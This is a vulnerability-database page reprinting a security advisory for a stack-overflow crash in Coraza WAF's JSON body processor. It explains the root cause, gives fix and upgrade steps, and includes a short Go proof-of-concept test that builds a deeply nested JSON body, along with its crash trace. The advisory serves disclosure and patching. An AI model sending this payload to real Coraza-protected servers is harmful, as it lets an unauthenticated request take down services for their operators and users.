Coraza JSON body processor: argument-limit truncation reopens an unbounded-depth gjson.Valid stack overflow (process crash)
CVE-2026-107826 · GHSA-6gcq-wc29-5xf2 · GO-2026-6693 · published 8 Oct 2026
How serious is it
- Severity: high, CVSS score 7.5 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-107826?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
github.com/corazawaf/coraza/v3(Go) >= 3.0.0, < 3.8.1
How to check
- Run
go list -m github.com/corazawaf/coraza/v3in your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
github.com/corazawaf/coraza/v3to 3.8.1 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
The JSON body processor (`internal/bodyprocessors/json.go`) can be made to
crash the whole process with an unrecoverable `fatal error: stack overflow`,
using a request body that is well under the recommended `SecRequestBodyLimit`
and the default `SecArgumentsLimit`.
### Root cause
`readJSON` (json.go:113-143) runs a bounded, best-effort flattening walk
(`readItems`) and *afterwards* calls `gjson.Valid(s)` on the raw body if
`readItems` returned no error:
```go
json := gjson.Parse(s)
...
truncated, err = readItems(json, key, maxRecursion, argumentLimit, byteBudget, &usedBytes, &argCount, res)
if err != nil {
return res, truncated, err
}
if !gjson.Valid(s) {
return res, truncated, errors.New("invalid JSON")
}
```
`gjson.Valid` (gjson v1.18.0, `validany` -> `validarray`/`validobject`) recurses
once per nesting level with **no depth bound**. `readItems` does have a depth
bound (`maxRecursion`), enforced here (json.go:163-182):
```go
func readItems(json gjson.Result, objKey []byte, maxRecursion int, argumentLimit int, byteBudget int, usedBytes *int, argCount *int, res map[string][]string) (truncated bool, err error) {
if byteBudget > 0 && *usedBytes >= byteBudget {
return true, nil // <-- checked first
}
if argumentLimit > 0 && *argCount >= argumentLimit {
return true, nil // <-- checked second
}
...
if maxRecursion <= 0 {
return false, errors.New("max recursion reached while reading json object")
}
```
The byte-budget and argument-limit checks run *before* the recursion-depth
check, and they short-circuit the walk with `truncated=true, err=nil` instead
of recursing further. If the configured `SecArgumentsLimit`
(`ArgumentLimit`, default 1000, `internal/corazawaf/waf.go:359`) is reached by
earlier, shallow values in the document, `readItems` stops walking *before it
ever reaches* a deeply nested tail later in the same document — so the
`maxRecursion` error is never produced, `err` comes back `nil`, and `readJSON`
falls through to the unconditional `gjson.Valid(s)` call on the complete raw
body, including the part `readItems` never visited.
This is not a new interaction with the recursion limit itself: at v3.7.0,
`gjson.Valid` ran unconditionally before any recursion check at all, so a
plain deeply-nested body crashed the process directly. A later fix added a
depth check that returns an error before `Valid` runs for the *straightforward*
case (nesting reached before any other guard fires). The argument-limit /
byte-budget guards added since then (GHSA-6r3q-mjv7-xr8m,
GHSA-3ww9-vw83-9w5x) reopened the same crash for the case above, because they
short-circuit the walk (and therefore the recursion counter) ahead of the
depth check, on both the request and response body path (`ProcessResponse`
calls the same `readJSON`, json.go:57-88).
Because this is `fatal error: stack overflow`, not a `panic`, it is **not**
recoverable by any `recover()` in the calling goroutine — the process
terminates unconditionally.
### PoC
```go
package bodyprocessors
import (
"strings"
"testing"
)
func TestStackOverflowRepro(t *testing.T) {
body := "[" + strings.Repeat("1,", 1000) + strings.Repeat("[", 13_000_000)
// 13,002,001 bytes total: under the recommended SecRequestBodyLimit
// (13107200, coraza.conf-recommended:78) and default ArgumentLimit (1000,
// internal/corazawaf/waf.go:359).
_, _, _ = readJSON(body, 20, 1000)
}
```
```
$ go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow
...
github.com/tidwall/gjson.validarray(...)
.../gjson@v1.18.0/gjson.go:2584
github.com/tidwall/gjson.validany(...)
.../gjson@v1.18.0/gjson.go:2499
github.com/tidwall/gjson.validarray(...)
.../gjson@v1.18.0/gjson.go:2589
... (repeats until the goroutine stack limit is hit)
```
Reproduced against commit `19b86824` (tag `v3.8.0`), both by calling
`readJSON` directly and end-to-end through the recommended
`coraza.conf-recommended` configuration (JSON `Content-Type`, default
`SecArgumentsLimit`, recommended `SecRequestBodyLimit`).
### Impact
An unauthenticated attacker who can send an HTTP request body (any endpoint
protected by Coraza with the JSON body processor enabled, which is the
default for `application/json`) can crash the entire host process with a
single request, using a payload well within default and recommended body
size and argument-count limits. There is no privilege or interaction
requirement, and the crash cannot be caught or mitigated by the integrator
(no `recover()` stops a stack-overflow fatal error). This is strictly worse
than a CPU-exhaustion or slow-request DoS: the process must be restarted, and
every in-flight request/transaction on that process is lost.
### Suggested fix
Run an iterative, explicitly-bounded-depth pre-scan (or reuse `readItems`'s
own recursion accounting) before calling `gjson.Valid`, and never call
`gjson.Valid` on input whose nesting exceeds `maxRecursion`. The response
path (`ProcessResponse`) needs the same treatment since it shares `readJSON`.
### AI involvement disclosure
- **AI tools/models used:** Claude Sonnet 5 (Anthropic), via Claude Code.
- **What was generated/assisted:** the initial vulnerability hypothesis and
repro shape were supplied by the reporter as an existing written finding;
Claude Sonnet 5 independently re-derived the root cause by reading the
current source, wrote and ran a fresh PoC test against commit `19b86824`
(tag `v3.8.0`), confirmed the crash and stack trace shown above, verified
the default configuration values cited (`ArgumentLimit` default,
`SecRequestBodyLimit` recommended value) against the current source, and
drafted this advisory text.
- **Review performed:** reproduced by hand by running the PoC test above with
`go test -run TestStackOverflowRepro ./internal/bodyprocessors/ -v` against
a clean c…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/corazawaf/coraza/security/advisories/GHSA-6gcq-wc29-5xf2
- github.com/corazawaf/coraza/commit/814e1898e083d2ff2ceb644382d0da17e930f93f
- github.com/corazawaf/coraza/releases/tag/v3.8.1
- github.com/advisories/GHSA-6gcq-wc29-5xf2
- github.com/corazawaf/coraza
Merged from GitHub Advisory Database, OSV, NVD. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON